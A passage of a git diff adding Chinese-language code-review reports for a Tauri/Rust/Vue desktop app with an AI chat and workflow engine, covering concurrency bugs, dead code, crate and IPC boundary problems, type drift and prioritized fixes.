- 无 N+1:每次审批单工具单查询,非循环。
|
||||||
|
- 未特化工具走 risk fallback 模板。覆盖完整。
|
||||||
|
|
||||||
|
### 🟠 FR-S1 — api_key 明文三连 [维持未修]
|
||||||
|
确认现状未动(migrations.rs/models.rs/commands.rs/Settings.vue 四处仍明文)。沿用全栈报告结论,P0 待 OS keychain 落地。
|
||||||
|
|
||||||
|
### 🟡 FR-S5 — 跨对话越权审批 [确认降级文档成立]
|
||||||
|
`commands.rs:117-120` ai_approve 仅按 tool_call_id 从 pending_approvals 取,无对话归属校验。但本地单机 + restore 只载当前对话 + UI 隔离,实际触发面窄。维持降级为文档说明。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 并发/性能复核(子代理产出,11 项)
|
||||||
|
|
||||||
|
| # | 项 | 判定 | 证据要点 | 严重度 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| FR-R1 | 切换 token | **已修(主路径) + 遗漏点** | `_latestSwitchId` 在首个 await 后比对正确,**但 pendingToolCalls(:108) await 后无二次比对**,A→B 快切可覆写 B 的 pendingApprovals | 🟠(见新发现①) |
|
||||||
|
| FR-R2 | 看门狗多窗口互踩 | **refute(降级成立)** | 分离窗口=独立 WebviewWindow=独立 JS realm,模块级 state 各持一份不共享 | 🟢 |
|
||||||
|
| FR-R3 | liveEvents 限长 | **已修正确** | `project.ts:215` splice(0, len-200),无 off-by-one,配合 `_ts` | 🟢 |
|
||||||
|
| FR-R4 | complete 无超时无重试 | **confirm** | openai/anthropic_compat 仅 `connect_timeout(30s)`,complete() 同步路径无总 timeout,远端建连后挂起则永久 hang | 🔴 |
|
||||||
|
| FR-R5 | findToolCall O(n²) | **confirm** | useAiEvents.ts:63 双层 for+find,4 处事件触发点 | 🟡 |
|
||||||
|
| FR-P1 | dag O(V·E) + panic | **confirm(O(V·E)) / refute(panic)** | successors/predecessors iter().filter 全表扫;但 in_degree 已对全部 node_ids 初始化且 contains 过滤野节点,`unwrap()` 不会 panic | 🟠→🟡 |
|
||||||
|
| FR-P2 | search_vector SELECT * | **confirm** | crud.rs:1183 `SELECT *` 拉 content/reasoning 大文本,无 LIMIT,Rust 算余弦 | 🟠 |
|
||||||
|
| FR-P3 | 单连接 Mutex | **confirm** | db.rs:13 `Arc<Mutex<Connection>>`,每 CRUD spawn_blocking+blocking_lock 串行 | 🟠 |
|
||||||
|
| FR-P4 | 500ms 轮询锁竞争 | **confirm(轮询) / refute(严重度)** | interval(500ms) 确实存在,但 std Mutex 无竞争纳秒级,"7200 次锁竞争"表述偏重 | 🟡 |
|
||||||
|
| FR-P5 | build_system_prompt 全表扫 | **confirm** | prompt.rs:75 `list_active()` 全表 + take(20) + format!,每消息+每 agentic 轮触发;list_active 无 LIMIT | 🟠 |
|
||||||
|
| FR-P6 | watch messages JSON.stringify | **confirm** | AiChat.vue:650 `{deep:true}` + 全量 stringify,snapshot 比对只省后续逻辑不省 stringify 本身 | 🟠 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 架构层(子代理产出,最大结构性风险)
|
||||||
|
|
||||||
|
**架构健康度:🟢 基本健康(7/10)**。依赖图无环、df-core 严格叶子、IPC 无 SQL 泄漏、前后端类型对齐度高、僵尸 crate 清理彻底(grep df_evolve/plugin/stages/task/traceability 零残留)。
|
||||||
|
|
||||||
|
**最大结构性风险**:🟠 **crate 层与 IPC 层职责边界双向错位**——领域逻辑(评估编排/晋升事务补偿/AI 扫描编排)沉淀在 IPC commands 层,而对应的 crate 模块(df-ideas::promotion、df-project::manager、df-ai::router/stream)反而是空壳或死代码。
|
||||||
|
|
||||||
|
### 3.1 依赖图与职责
|
||||||
|
|
||||||
|
- `df-nodes` 同时依赖 df-core/df-execute/df-workflow/df-ai 四个,是唯一多父汇聚点。结构正确(节点需调执行器/工作流/AI),非阻塞。
|
||||||
|
- `df-workflow/src/conditions.rs:16-33` ConditionEngine 仅识别 true/false 字面量,其余默认 false(保守拒绝,安全)。文档承诺的 JSON Path/数值/逻辑组合语法全 TODO。todo.md:137 T-260614-11 已记。
|
||||||
|
|
||||||
|
### 3.2 空壳/死代码(5 处,建议清理或显式标注)
|
||||||
|
|
||||||
|
| # | 位置 | 判定 | 严重度 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| ⑥ | `df-workflow/state.rs:87-100` set_waiting/set_skipped | 全仓零调用方,纯死代码 | 🟡 |
|
||||||
|
| ⑦ | `df-workflow/eventbus.rs:43-46` emit_human_approval_request | 全仓零调用方(HumanNode 用 async send) | 🟡 |
|
||||||
|
| ⑧ | `df-ai/router.rs` ModelRouter | **route() 全返回 default_model,lib.rs 未导出,零调用方** | 🟠 |
|
||||||
|
| ⑨ | `df-ai/stream.rs` StreamCollector | 流式接收走 IPC 层 stream_recv.rs,此模块零调用方 | 🟠 |
|
||||||
|
| ⑩ | `df-ideas/promotion.rs:45-91` IdeaPromoter/try_promote/do_promote | 全 TODO 占位,IPC 层 idea.rs 重写了晋升逻辑,crate 层零调用 | 🟠 |
|
||||||
|
|
||||||
|
> 注:coordinator.rs(df-ai)是 B 路线**有意占位**(文件头注释+文档对齐),非死代码,建议 run() 改 `bail!("未实现")` 更安全。
|
||||||
|
|
||||||
|
### 3.3 IPC 层 carry 领域逻辑(3 处)
|
||||||
|
|
||||||
|
- `idea.rs:184-231` evaluate_idea:评估编排 + 结果组装 + `scores*10` 缩放 + recommendation/action_items 扁平化映射,整段领域逻辑落 IPC。
|
||||||
|
- `idea.rs:140-153` promote_idea:跨表事务补偿(回写失败→补偿删 project)落 IPC。
|
||||||
|
- `project.rs:335-377` scan_project_with_ai:build_scan_prompt/parse_scan_result 纯函数级 AI 编排落 IPC。
|
||||||
|
|
||||||
|
后果:领域逻辑绑 Tauri State 无法 crate 级单测;AI 工具 create_* 与 IPC create_* 各写一份字段默认值(tool_registry.rs vs project.rs/task.rs),字段增删易漏改分叉。
|
||||||
|
|
||||||
|
### 3.4 前后端类型 drift(3 处注释错误)
|
||||||
|
|
||||||
|
- `types.ts:88` TaskStatus 注释 `review_ready/merged/abandoned` 三值后端枚举不存在(实际 todo/in_progress/in_review/testing/done/blocked/cancelled)。🟠
|
||||||
|
- `types.ts:89` Priority 注释方向反(前端 `0=critical/3=low`,后端 df-core `Low=0/Critical=3`)。🟠
|
||||||
|
- `types.ts:39` ProjectStatus 注释漏 testing/releasing。🟡
|
||||||
|
- 类型本身 string 不阻断,但注释误导前端排序/展示逻辑写反。
|
||||||
|
|
||||||
|
### 3.5 错误处理双轨
|
||||||
|
|
||||||
|
- df-storage 用强类型 `df-core::Error`(thiserror),其余 crate(df-ai/df-ideas/df-project/df-workflow/df-execute)全 anyhow。`df-core::Error` 的 Workflow/Execution/AiProvider/Plugin 等变体零使用=死变体。🟠
|
||||||
|
- IPC 层统一 `.to_string()` 压平成中文消息,前端无法区分 404/500。🟡(Tauri 限制下折中,可接受)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 工作流审批链复核(子代理产出)
|
||||||
|
|
||||||
|
### 4.1 死代码(confirm 3 处)
|
||||||
|
set_waiting/set_skipped、emit_human_approval_request 零调用(见 §3.2 ⑥⑦)。set_cancelled 绕 is_legal 直接 insert(state.rs:106),todo 决策采"修法 B 绕而非纳入白名单",与全栈报告建议分歧,属待统一项。
|
||||||
|
|
||||||
|
### 4.2 回归审计(最近 5 提交无 P0/P1 回归)
|
||||||
|
|
||||||
|
- ✅ R6 human_node send 加 await(human_node.rs:42),测试 `request_is_emitted_to_bus` 验证。
|
||||||
|
- ✅ select! 三分支(Response 双键过滤 / sleep_until 无漂移 / cancel 首 tick 丢弃)正确。
|
||||||
|
- ✅ Lagged(n) continue 容忍正确。
|
||||||
|
- ✅ decision 校验(human_node.rs:67 三态 + IPC workflow.rs:189 双层)。
|
||||||
|
- ✅ executor Err 处理 is_cancelled guard(executor.rs:123-141)跳 set_failed,避开 Cancelled→Failed 非法 transition。
|
||||||
|
- ✅ cancel 链端到端通(IPC→registry→共享 StateMachine→HumanNode 500ms 轮询→Err→executor)。
|
||||||
|
|
||||||
|
### 4.3 集成测试缺口(confirm)
|
||||||
|
前端无 human DAG 入口(demoDag 仅 3 个 script 节点),现有测试用 mock `CancelSelfNode` 验证取消,**非真 HumanNode 路径**。select! cancel 分支 + interval tick 逻辑无端到端覆盖。todo.md:90 B-03b-R8 已记。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 新发现汇总(11 项,不在原报告/todo)
|
||||||
|
|
||||||
|
### 🟠 高优(建议本轮处理)
|
||||||
|
|
||||||
|
**新-① [src/composables/ai/useAiConversations.ts:108-126] FR-R1 闭环不完整:pendingToolCalls await 后无 token 比对**
|
||||||
|
A→B 快切时,首个 await 已挡住 messages/activeConversationId 覆写,但 `aiApi.pendingToolCalls`(:108) 慢返回仍会覆写 B 的 `state.pendingApprovals`(:120)。建议补 `if (mySwitchId !== _latestSwitchId) return`。
|
||||||
|
|
||||||
|
**新-② [crates/df-ai/src/{openai,anthropic}_compat.rs] client builder 降级丢 connect_timeout**
|
||||||
|
`Client::builder().connect_timeout(30s).build().unwrap_or_else(|_| Client::new())` — build 失败降级到 `Client::new()` 丢失连接阶段超时。建议降级分支显式 `Client::builder().build()`。
|
||||||
|
|
||||||
|
**新-③ [crates/df-workflow/src/executor.rs:130-135] 取消节点状态保 Cancelled 但仍发 NodeFailed 事件,语义双标**
|
||||||
|
已取消节点状态机保 Cancelled,但事件总线仍 emit `NodeFailed { error: "人工审批被取消" }`。前端若按 NodeFailed 事件分支判断会误归类"失败"而非"取消"。建议加 `NodeCancelled` 事件 variant 或 NodeFailed 加 `cancelled: bool` 字段。
|
||||||
|
|
||||||
|
**新-④ [src-tauri/src/commands/workflow.rs:218-236] cancel_workflow_node 无节点终态前置校验**
|
||||||
|
仅校验 execution_id 在注册表,不校验 node_id 状态。对已 Completed/Failed/Cancelled 节点调 set_cancelled 会静默覆盖终态(set_cancelled 绕 is_legal)。建议加 `match sm.get(&node_id) { Running|Waiting => {}, _ => Err }` 守卫。
|
||||||
|
|
||||||
|
**新-⑤ [前端无 human DAG 入口] 端到端 human 审批测试缺口**
|
||||||
|
见 §4.3,CancelSelfNode 自取消与 HumanNode 走 select! cancel 分支是两条代码路径,后者无覆盖。
|
||||||
|
|
||||||
|
### 🟠 中优
|
||||||
|
|
||||||
|
**新-⑥ [df-ai/router.rs] ModelRouter 空壳死代码** — 见 §3.2 ⑧,route() 全返回 default_model,零调用方。
|
||||||
|
|
||||||
|
**新-⑦ [df-ai/stream.rs] StreamCollector 死代码** — 见 §3.2 ⑨,流式逻辑全在 IPC stream_recv.rs。
|
||||||
|
|
||||||
|
**新-⑧ [df-ideas/promotion.rs] IdeaPromoter 死代码** — 见 §3.2 ⑩,IPC 层重写了晋升。
|
||||||
|
|
||||||
|
**新-⑨ [types.ts:88-89] TaskStatus/Priority 注释 drift** — 见 §3.4,误导前端排序逻辑。
|
||||||
|
|
||||||
|
**新-⑩ [df-core/error.rs] 错误类型双轨,半数变体死代码** — 见 §3.5。
|
||||||
|
|
||||||
|
### 🟡 低优
|
||||||
|
|
||||||
|
**新-⑪ [useAiWindow.ts:79-95 + useAiStream.ts:18] 主窗口看门狗在分离窗口接管生成时仍跑**
|
||||||
|
detach 时主窗口 streaming/generatingConvId 未清,看门狗续计 130s 后往主窗口 state 补幽灵错误消息,但用户已切走无实际危害,仅主窗口面板重开时看到一条幽灵错误。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 报告修正(refute 原 report 误判)
|
||||||
|
|
||||||
|
| 原报告项 | 修正 |
|
||||||
|
|---|---|
|
||||||
|
| FR-R2 看门狗多窗口互踩 | **应标 refute**:分离窗口独立 JS realm 不共享 state 单例,降级理由成立(todo 已记"评估维持",复核确认) |
|
||||||
|
| FR-P1 in_degree.unwrap() panic 风险 | **refute**:in_degree 对全部 node_ids 初始化 + contains 过滤野节点,unwrap 不 panic |
|
||||||
|
| FR-P4 "7200 次锁竞争" | 严重度偏高:std Mutex 无竞争纳秒级,实为微秒级开销;保留"500ms 轮询模式不佳"批评,建议改 broadcast/Notify |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 建议进 todo 的项(去重后)
|
||||||
|
|
||||||
|
> 已在 todo 的不重复;下列为本复核**新产出**,待用户确认进看板。
|
||||||
|
|
||||||
|
| 建议 ID | 对应 | 优先级 |
|
||||||
|
|---|---|---|
|
||||||
|
| 复核-新① FR-R1 pendingToolCalls 闭环 | useAiConversations.ts:108 补 token 比对 | P1 |
|
||||||
|
| 复核-新② client 降级丢 timeout | openai/anthropic_compat 降级分支显式重建 | P2 |
|
||||||
|
| 复核-新③ 取消事件语义双标 | 加 NodeCancelled variant 或 cancelled 字段 | P2 |
|
||||||
|
| 复核-新④ cancel 无终态校验 | workflow.rs:223 加状态前置守卫 | P2 |
|
||||||
|
| 复核-新⑤ human 端到端测试缺口 | (= todo B-03b-R8,已记,提优先级) | P1 |
|
||||||
|
| 复核-新⑥⑦⑧ 死代码三连 | ModelRouter/StreamCollector/IdeaPromoter 删或标注 | P2 |
|
||||||
|
| 复核-新⑨ types.ts 注释 drift | TaskStatus/Priority 注释对齐 df-core 枚举 | P2 |
|
||||||
|
| 复核-新⑩ 错误类型双轨 | df-core::Error 瘦身或各 crate 收敛 | P2 长期 |
|
||||||
|
| FR-R4 complete 无 timeout | (已在 todo,复核确认 🔴,建议提 P1) | P1 |
|
||||||
|
| FR-S1 api_key 明文 | (已在 todo P0,复核确认未动) | P0 |
|
||||||
|
|
||||||
|
**优先处理 3 件**(影响实际行为):
|
||||||
|
1. **复核-新①** FR-R1 闭环缺口(审批卡片可见性错配,一行修)
|
||||||
|
2. **复核-新③④** 取消事件语义 + 终态校验(审批链语义正确性)
|
||||||
|
3. **FR-R4** complete 无 timeout(一次网络抖动挂死整轮对话,提 P1)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
> 本会话**只做代码审查 + 文档记录**,不含代码变更。实际修复另起会话。
|
||||||
147
docs/05-代码审查/架构审查-2026-06-15.md
Normal file
147
docs/05-代码审查/架构审查-2026-06-15.md
Normal file
@@ -0,0 +1,147 @@
|
|||||||
|
# 架构审查报告(2026-06-15)
|
||||||
|
|
||||||
|
> 范围:Rust workspace(8 crate + src-tauri 汇聚层,14586 行)+ 前端(Vue3+Pinia,11830 行),共约 26k 行。
|
||||||
|
> 方法:2 个 general-purpose 子代理并行审「Rust crate 架构」「前端架构」,主代理直读 df-core/df-execute/coordinator/conditions 核实空壳与抽象层,并对 3 个 🔴 删代码/可见断言做 grep 复验(全部坐实)。
|
||||||
|
> 去重:与 [全栈代码审查报告-2026-06-14.md](全栈代码审查报告-2026-06-14.md)(bug/性能 FR-*)、[架构与缺陷复核报告-2026-06-14.md](架构与缺陷复核报告-2026-06-14.md)(复核+回归审计)、[aichat审查报告-2026-06-14.md](../02-架构设计/aichat审查报告-2026-06-14.md)(AR 系列)互补——**本报告只记架构层面**(模块边界/依赖方向/抽象层次/扩展性/状态管理/技术债),不重复 bug、性能、aichat 专项项。
|
||||||
|
> 性质:**dry — 仅审查 + 文档,不改代码**。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## §1 架构总览
|
||||||
|
|
||||||
|
### 1.1 Crate 地图(Rust)
|
||||||
|
|
||||||
|
| Crate | 职责 | 内部依赖 | 行数 |
|
||||||
|
|-------|------|---------|------|
|
||||||
|
| **df-core** | 纯类型定义(ID 别名/状态枚举/new_id)+ error + events | 无(根) | 429 |
|
||||||
|
| **df-storage** | SQLite 持久化(11 个 Repo + models + migrations) | df-core | 2522 |
|
||||||
|
| **df-workflow** | 工作流引擎(DAG/Node trait/Executor/Registry/StateMachine/EventBus/Conditions) | df-core | 1120 |
|
||||||
|
| **df-ai** | AI 编排(LlmProvider trait + OpenAI/Anthropic compat + 工具注册 + 上下文 + 流式) | df-core | 2588 |
|
||||||
|
| **df-nodes** | 3 个内置节点(AiNode/ScriptNode/HumanNode) | df-core + df-workflow + df-ai + df-execute | 773 |
|
||||||
|
| **df-execute** | 仅一个 `shell::execute` 函数(带 TODO) | df-core | 76 |
|
||||||
|
| **df-ideas** | 想法池领域(capture/scoring/adversarial 启发式/promotion 占位) | df-core | 759 |
|
||||||
|
| **df-project** | 项目领域(create_from_idea / scan 技术栈探测) | df-core | 486 |
|
||||||
|
| **src-tauri** | 汇聚层:47 个 IPC 命令 + AppState + 跨 crate 业务编排 | 全部 8 crate | 5711 |
|
||||||
|
|
||||||
|
**依赖图(无环,星型收敛)**:
|
||||||
|
```
|
||||||
|
df-core (零依赖根)
|
||||||
|
/ / | \ \ \
|
||||||
|
storage workflow ai ideas project execute
|
||||||
|
| | |
|
||||||
|
└───┴── nodes (唯一多依赖者)
|
||||||
|
|
|
||||||
|
src-tauri (依赖全部 8 crate)
|
||||||
|
```
|
||||||
|
除 df-nodes 依赖 df-workflow+df-ai 外,**6 个 crate 间零横向依赖**——业务域 crate(ideas/project)不依赖持久化层(storage),靠 src-tauri 在 IPC 层组合。
|
||||||
|
|
||||||
|
### 1.2 前端分层地图
|
||||||
|
|
||||||
|
| 层 | 关键文件 | 职责 | 备注 |
|
||||||
|
|----|---------|------|------|
|
||||||
|
| stores | project(337) / ai(84) / knowledge(157) / appSettings(139) / settings(99) | 领域状态 | project 是上帝 store;settings 死代码 |
|
||||||
|
| composables/ai | 6 文件(events/stream/send/conversations/window/panel) | AI 业务逻辑 | 为拆而拆,循环依赖 |
|
||||||
|
| views | 9 个(4875 行) | 页面 | Ideas 929 / Settings 1032 偏重 |
|
||||||
|
| components | AiChat(1359) / ToolCard(760) 等 | UI 组件 | AiChat 巨型 |
|
||||||
|
| api | 8 文件(736 行) | Tauri invoke 封装 | 分层清晰 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## §2 架构级问题清单
|
||||||
|
|
||||||
|
### 🔴 结构风险(6)
|
||||||
|
|
||||||
|
#### ① [df-execute] 空壳 crate + src-tauri 死依赖 — 应合并删除
|
||||||
|
**现状**:`crates/df-execute/src/lib.rs:7` 仅 `pub mod shell;`;`shell.rs` 全文 73 行只 1 个 `execute` 函数且带 `TODO: 完整实现`(:33)。全仓库唯一调用方是 `df-nodes/src/script_node.rs:34,42`。`src-tauri/Cargo.toml:32` 声明 `df-execute` 依赖,但 grep 确认 `src-tauri/src/` **零处引用 `df_execute`**(已复验)。
|
||||||
|
**架构影响**:一个 76 行/2 文件、仅暴露 1 函数的 crate,是过度拆分典型。其存在理由("执行运行时",原含 docker/git_ops/ssh)重构删除后已不成立。src-tauri 那条依赖是残留死代码。
|
||||||
|
**建议**:合并 df-execute 进 df-nodes(作 `script_node` 内部模块或 `df-nodes::shell`),删该 crate + `src-tauri/Cargo.toml:32` 死依赖。净减 1 crate + 1 死依赖。
|
||||||
|
|
||||||
|
#### ② [stores/settings.ts] mock 上帝 store 死代码 — 零消费者
|
||||||
|
**现状**:`stores/settings.ts:32-75` 持硬编码 mock 数据(Anthropic/Zhipu/DeepSeek provider、5 连接、theme/dataDir),全写死展示字符串。grep 确认仅 `stores/index.ts:6` 导出,**全 src 零组件 import `useSettingsStore`**(已复验)。真实 provider CRUD 走 `api/ai.ts` + Settings.vue 本地 ref,真实偏好走 appSettings。
|
||||||
|
**架构影响**:双轨幻觉——同名 `settings` 一真(appSettings/SQLite)一假(settings.ts/mock),后者 `AIProvider`/`Connection` interface 还被 re-export,新人易误用。与「做减法」画像直接冲突。
|
||||||
|
**建议**:删 `stores/settings.ts` + `stores/index.ts:6-7` 导出;interface 若有外部依赖迁 `api/types.ts`。零风险减法。
|
||||||
|
|
||||||
|
#### ③ [stores/project.ts] 上帝 store(四领域强耦合 + 越层 invoke)
|
||||||
|
**现状**:`project.ts` 同时管 projects/tasks/ideas/workflowExecutions/liveEvents/pendingApproval 六类 state(:9-25),方法覆盖四领域 CRUD + 事件监听 + 审批。`project.ts:252` `invoke('approve_human_approval')`、`:271` `invoke('cancel_workflow_node')` **直接调 invoke 绕过 api 层**——全项目仅此一处 store 越层(其余 50+ invoke 全在 `api/*.ts`)。
|
||||||
|
**架构影响**:违反单一职责;workflow 审批逻辑寄生 project store;分层不彻底。
|
||||||
|
**建议**:拆 project/task/idea/workflow 四 store(至少 workflow+审批独立);`approve_human_approval`/`cancel_workflow_node` 沉 `api/workflow.ts`。
|
||||||
|
|
||||||
|
#### ④ [composables/ai/] 6 文件为拆而拆 — events↔stream 循环依赖
|
||||||
|
**现状**:6 个 composable 全部 `import { state } from stores/ai`(共享单例),且互相模块级 import 形成环:`useAiEvents.ts:18` → useAiStream(reset);`useAiStream.ts:12` → useAiEvents(nextMsgId) ← **双向**;`useAiSend`→useAiStream+useAiEvents;`useAiConversations`→useAiEvents+useAiPanel;`useAiWindow`→其余三者。`useAiStore()` 只是 `...useAiXxx()` 展开,每个 composable 恰被一处展开、零外部复用。
|
||||||
|
**架构影响**:拆分未降耦合,反把一个内聚状态机(流式事件→看门狗→队列→对话)打散到 6 文件,靠 ES module 循环 import 维持。events↔stream 双向依赖靠函数提升侥幸可运行,属脆弱结构。
|
||||||
|
**建议**:要么承认是单 store 内聚逻辑、合回 `stores/ai.ts`(最简);要么把 `nextMsgId`/`state` 等共享提独立 `aiShared.ts` 破环。
|
||||||
|
|
||||||
|
#### ⑤ [App.vue:273] `/decisions` 路由死链 — 用户可见坏链
|
||||||
|
**现状**:`App.vue:273` secondaryNav 含 `{ path: '/decisions', label: 'nav.decisions' }`,但 `router/index.ts` 无此路由(已复验,仅 i18n 文案存在)。点击落空白/重定向。
|
||||||
|
**架构影响**:导航与路由不同步,用户可感。
|
||||||
|
**建议**:补路由+视图,或从 secondaryNav 删该项(务实减法)。
|
||||||
|
|
||||||
|
#### ⑥ [前端] 模块级全局态散落 + 多窗口 localStorage 手搓同步
|
||||||
|
**现状**:跨组件状态大量用模块级 `let`/`const` 而非 store——`useAiEvents.ts:27-32` 四个、`useAiStream.ts:18` watchdog、`useAiWindow.ts:17-18`、`useAiConversations.ts:44` switchId、`stores/project.ts:27,329`。多窗口(主窗口+ai-detached)各独立 JS realm,模块级单例**不跨窗口共享**;`useAiWindow.ts:30-31` 用 `localStorage.setItem('df-ai-gen'/'df-ai-text')` 手动快照,分离窗口 `resumeInDetached`(:82-95) 读回——手搓跨窗口 IPC,仅覆盖 currentText 两字段。
|
||||||
|
**架构影响**:模块级 state 单窗口内是隐式全局,调试难追踪;「双窗口同时操作同一对话」竞态靠 localStorage 单字段兜不住。
|
||||||
|
**建议**:跨窗口状态显式走 Tauri event(emit/listen)而非 localStorage 快照;模块级私有态集中文档化。
|
||||||
|
|
||||||
|
### 🟡 改进(6)
|
||||||
|
|
||||||
|
#### ⑦ [df-core] 名不副实——类型库而非核心
|
||||||
|
`lib.rs:5` 自述"核心类型定义",但 `types.rs` 全是 `pub type XId = String` 别名 + 状态枚举 + `new_id()`,**无 trait/无抽象/无行为契约**。真正核心 trait(`Node` 在 df-workflow、`LlmProvider` 在 df-ai)各自下沉到功能 crate。命名误导读者对其角色预期。**建议**:改名 `df-types`,或注释明确"只放跨 crate 共享数据类型,不放 trait"。低优先。
|
||||||
|
|
||||||
|
#### ⑧ [src-tauri] IPC 层成事实业务编排层(5711 行)
|
||||||
|
crate 故意解耦(ideas 不依赖 project/storage),代价是「两 crate 怎么协作」无处安放,全部上浮 src-tauri。典型 `commands/idea.rs:96-161` `promote_idea`:取 IdeaRecord → 调 df_project 构造 Project → 插 df_storage → 补偿删除 → 回写 ideas,其中 `record_to_idea`(:252)、分数 `*10` 缩放(:224)、JSON 组装(:208) 全在 IPC 文件。`df-ideas/promotion.rs:82` 的 `do_promote` 反而是空壳——领域逻辑被分置两处,领域 crate 残缺。src-tauri(5711) > 最大 crate(df-ai 2588),IPC 不是薄转发而是应用服务层。**建议**:中期引入 `df-app` 或 src-tauri 内 `services/` 收编跨 crate 编排,让 IPC 回归薄转发;至少把 `record_to_idea` 这类纯映射下沉回 df-ideas。技术债,不紧急。
|
||||||
|
|
||||||
|
#### ⑨ [src-tauri/commands/ai] AI agent loop 在 IPC 层而非 df-ai
|
||||||
|
`commands/ai/` 11 文件 3438 行,含 `agentic.rs`(292) ReAct 主循环、`audit.rs`(342) 工具审计、`knowledge_inject.rs`(557) 提炼。df-ai 提供 trait + provider 实现,但「怎么编排多轮工具调用」这层智能在 src-tauri,使 df-ai 退化为「LLM 调用 SDK」。与 aichat 审查「单链 ReAct、coordinator 空壳」一致——智能层无处安放暂栖 IPC。**建议**:观察项,B 路线(多 agent 协作)立项时一并从 IPC 抽出,现不宜妄动。
|
||||||
|
|
||||||
|
#### ⑩ [views] 3 个 view 绕 store 调 api
|
||||||
|
`Projects.vue:160,163,187`(scanStack/checkBinding/scanWithAi)+ `ProjectDetail.vue:211` 混用 store 与 api;`Settings.vue:374,387` 完全不走 store(provider CRUD 直接 aiApi + 本地 ref),自带 toast(:390) 与 App.vue 全局 toast 重复。分层不一致——同性质「读后端数据」有的进 store 有的留 view 本地。**建议**:scan/checkBinding 预览型只读可接受;Settings provider 列表应进 store(与 `stores/ai.ts:39` providers 合一,避免双份真源);toast 二选一。
|
||||||
|
|
||||||
|
#### ⑪ [stores/index.ts] barrel 漏导 useAiStore
|
||||||
|
`stores/index.ts` 导出 project/knowledge/settings/appSettings,**漏 `useAiStore`**(`stores/ai.ts:73`)。故 App.vue/AiChat.vue/AiDetached.vue 全部直连 `stores/ai` 文件绕过 barrel。barrel 形同虚设,ai store 成「特殊公民」。**建议**:补 `export { useAiStore } from './ai'`。
|
||||||
|
|
||||||
|
#### ⑫ [api/types.ts] 前后端类型契约手写 + `as any` 绕过
|
||||||
|
`api/types.ts:1` 注释"与 Rust Record 严格对齐"但纯手写无代码生成。漂移风险点:`stores/project.ts:234` `payload.event as unknown as HumanApprovalRequest`(字段存在性无校验);`:73,145,182` `(state.xxx[idx] as any)[field]=value`(field 是 string 无约束);`useAiConversations.ts:71` 历史消息全程 `(m:any)`、`:81` JSON.parse 无 try-catch;Settings/ToolCard 多处 `as any`。契约脆弱集中在「动态字段更新」和「事件 payload 强转」。**建议**:动态 field 改 keyof 约束或具名方法;payload 强转改类型守卫;长期考虑 ts-rs 代码生成。
|
||||||
|
|
||||||
|
### ⚪ 观察(4)
|
||||||
|
|
||||||
|
**⑬ [df-ai/coordinator.rs:3 等] 空壳是 B 路线有意占位** — `coordinator.rs:3` 注释 `⚠ B 路线占位...勿删`;`df-workflow/conditions.rs:4` `TODO: 实现完整条件表达式`(当前只识 true/false 字面量,保守拒绝=安全);`df-ai/router.rs:42` ModelRouter 全返 default_model(no-op);`df-ideas/promotion.rs:67` SemiAuto TODO。coordinator 有明确归属保留;conditions/router 若长期无调用方依赖其"未来能力",可删减负(YAGNI)。决策性。
|
||||||
|
|
||||||
|
**⑭ [AiSession] 单例 + generating bool 锁死多会话并发** — `state.rs:164` `ai_session: Arc<Mutex<AiSession>>`(全局唯一),`commands.rs:45,48` `generating` bool 充当全局对话互斥锁,`state.rs:93-96` 注释自承认"per_conv 是应用级单一信号量非 map,未来多对话并发需改 HashMap"。同一时刻全局只能有一个 AI 对话生成。是有意识的设计取舍,符合单链 ReAct 现状,但是异步审批/多会话(见 memory devflow-async-approval-concept)的结构前置障碍。B 路线范畴,现不阻塞。
|
||||||
|
|
||||||
|
**⑮ [AppState] God Struct** — `state.rs:135-185` 含 15 个 Repo + event_bus + registry + ai_tools + ai_session + knowledge_config + llm_concurrency + workflow_state_registry。所有 IPC 共享巨型 State,无边界隔离。桌面应用规模可接受,若 IPC 做 service 化(⑧)State 可随之分组。
|
||||||
|
|
||||||
|
**⑯ [前端] IPC 命名风格不统一** — 命令名 snake_case(`list_projects`)/`ai_`前缀(`ai_chat_send`)混存;参数 camelCase(`convId`)vs snake(`projectId`)混。新增 IPC 需改 api+store+view 约 3 处,散弹度可接受。**建议**:命令名统一 snake_case,参数统一 camelCase(Tauri 自动转)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## §3 亮点
|
||||||
|
|
||||||
|
- **扩展点单点注册,抽象得当**:新增工作流节点改 2 处(df-nodes 加 impl Node + `state.rs:225 build_registry` 注册一行);新增 AI 工具改 1 处(`tool_registry.rs` register);新增 provider 改 1 处(`df-ai/lib.rs:21 build_provider` match)。Registry/工厂用最朴素 HashMap,没搞插件动态加载那套过度抽象。**架构最健康的一面**。
|
||||||
|
- **依赖图无环、星型收敛**:crate 间零横向耦合,编译/测试隔离好,6 crate 不互相牵连。
|
||||||
|
- **空壳占位有显式标注**:coordinator 的 B 路线注释、conditions 的保守拒绝设计,非失控,是有意识的路线占位。
|
||||||
|
- **前端减法实践**:`useConfirm`(抽 4 视图重复)、`constants/project`(统一状态映射)、`utils/time`(根治 Invalid Date)——好的减法。
|
||||||
|
- **i18n/路由/api 分层清晰**:i18n 按模块分文件 zh/en 对称,路由全懒加载带 meta,api 层 8 文件按领域分 + barrel 统一导出(除 ③ project store 越层、⑪ ai store 漏导两处瑕疵)。
|
||||||
|
- **工程素养细节**:LlmConcurrency 双层 Semaphore、promote_idea 补偿事务删除、FR-S7/S8 安全防护——显工程功底。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## §4 总评
|
||||||
|
|
||||||
|
**架构成熟度:中等偏清晰(Rust 7/10,前端 6/10)**。
|
||||||
|
|
||||||
|
**核心张力(1 个真问题 + 几个取舍)**:
|
||||||
|
- **真问题**:df-execute 空壳化 + src-tauri 死依赖(①),应做减法合并。这是唯一违背「做减法」画像的硬伤。
|
||||||
|
